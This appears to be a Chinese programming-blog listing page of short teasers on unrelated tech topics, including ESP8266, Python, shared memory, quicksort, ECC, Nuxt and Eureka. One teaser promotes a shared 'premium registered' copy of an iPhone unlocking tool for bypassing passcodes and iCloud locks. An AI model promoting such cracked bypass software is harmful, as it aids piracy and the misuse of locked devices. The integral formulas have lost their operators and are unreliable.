Arduino-ESP 8266 踩坑(一) ESPAsyncWebServer AsyncCallbackJsonWebHandler 在使用 ESPAsyncWebServer 时 由于我想用 asyncWebServer 通过 application/json POST 请求拿数据, 就翻看了 ESPAsyncWebServer 的 git 文档, 他是这样说的 : //JSON body handling with ArduinoJ…...

Source Insight_突出显示对选定字符的引用

1、突出显示对选定字符的引用 在Source Insight中&#xff0c;当我们选中一个函数或者变量的时候&#xff0c;关于它的所有引用地方都高亮显示&#xff0c;想要实现效果如下。 2、配置方法 (1)点击"Options"→“File Type options...” (2)勾选“Highlight referenc…...

高等数学上册 第五章 定积分 知识点总结

定积分 定积分的性质&#xff1a; &#xff08; 1 &#xff09; ∫ a b [ α f ( x ) β g ( x ) ] d x α ∫ a b f ( x ) d x β ∫ a b g ( x ) d x &#xff08; 2 &#xff09;设 a < c < b &#xff0c;则 ∫ a b f ( x ) d x ∫ a c f ( x ) d x ∫ c b f ( …...

【无标题】uniapp引入萤石云 真机无法运行 踩坑集合

Uniapp 接入萤石云 踩坑 1.先用了 UIKit Javascript 就是在 pc端 那套流程 npm install ezuikit-jsimport EZUIKit from ezuikit-js;这套流程貌似只适用于pc端&#xff0c;我在接入uniapp的时候没看官网 以为都是一套流程&#xff0c;然后就在uniapp中也来了这一套&#xff0…...

python函数

目录 函数基本语法 函数定义 函数调用 形式参数和实际参数 None类型 None主要作用 函数的说明文档 语法 变量的作用域 变量分类 global关键字 不加global关键字 加global关键字 函数的多返回值 多返回值写法 函数的四种传参方式 位置参数 关键字参数 缺省参…...

【Linux】进程间通信——system V共享内存

目录 写在前面的话 System V共享内存原理 System V共享内存的建立 代码实现System V共享内存 创建共享内存shmget() ftok() 删除共享内存shmctl() 挂接共享内存shmat() 取消挂接共享内存shmdt() 整体通信流程的实现 写在前面的话 上一章我们讲了进程间通信的第一种方式…...

【数据结构】快速排序

快速排序是一种高效的排序算法&#xff0c;其基本思想是分治法。它将一个大问题分解成若干个小问题进行解决&#xff0c;最后将这些解合并得到最终结果。 快速排序的主要思路如下&#xff1a; 选择一个基准元素&#xff1a;从待排序的数组中选择一个元素作为基准&#xff08;…...

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...

iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘

美国西海岸的夏天&#xff0c;再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至&#xff0c;这不仅是开发者的盛宴&#xff0c;更是全球数亿苹果用户翘首以盼的科技春晚。今年&#xff0c;苹果依旧为我们带来了全家桶式的系统更新&#xff0c;包括 iOS 26、iPadOS 26…...

椭圆曲线密码学(ECC)

一、ECC算法概述 椭圆曲线密码学&#xff08;Elliptic Curve Cryptography&#xff09;是基于椭圆曲线数学理论的公钥密码系统&#xff0c;由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA&#xff0c;ECC在相同安全强度下密钥更短&#xff08;256位ECC ≈ 3072位RSA…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版​分享

平时用 iPhone 的时候&#xff0c;难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵&#xff0c;或者买了二手 iPhone 却被原来的 iCloud 账号锁住&#xff0c;这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...

Nuxt.js 中的路由配置详解

Nuxt.js 通过其内置的路由系统简化了应用的路由配置&#xff0c;使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)

引言&#xff1a;为什么 Eureka 依然是存量系统的核心&#xff1f; 尽管 Nacos 等新注册中心崛起&#xff0c;但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制&#xff0c;是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

爬虫基础学习day2

# 爬虫设计领域 工商&#xff1a;企查查、天眼查短视频&#xff1a;抖音、快手、西瓜 ---> 飞瓜电商&#xff1a;京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空&#xff1a;抓取所有航空公司价格 ---> 去哪儿自媒体&#xff1a;采集自媒体数据进…...

免费PDF转图片工具

免费PDF转图片工具 一款简单易用的PDF转图片工具&#xff0c;可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件&#xff0c;也不需要在线上传文件&#xff0c;保护您的隐私。 工具截图 主要特点 &#x1f680; 快速转换&#xff1a;本地转换&#xff0c;无需等待上…...

「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案

在移动互联网营销竞争白热化的当下&#xff0c;推客小程序系统凭借其裂变传播、精准营销等特性&#xff0c;成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径&#xff0c;助力开发者打造具有市场竞争力的营销工具。​ 一、系统核心功能架构&…...

elementUI点击浏览table所选行数据查看文档

项目场景&#xff1a; table按照要求特定的数据变成按钮可以点击 解决方案&#xff1a; <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...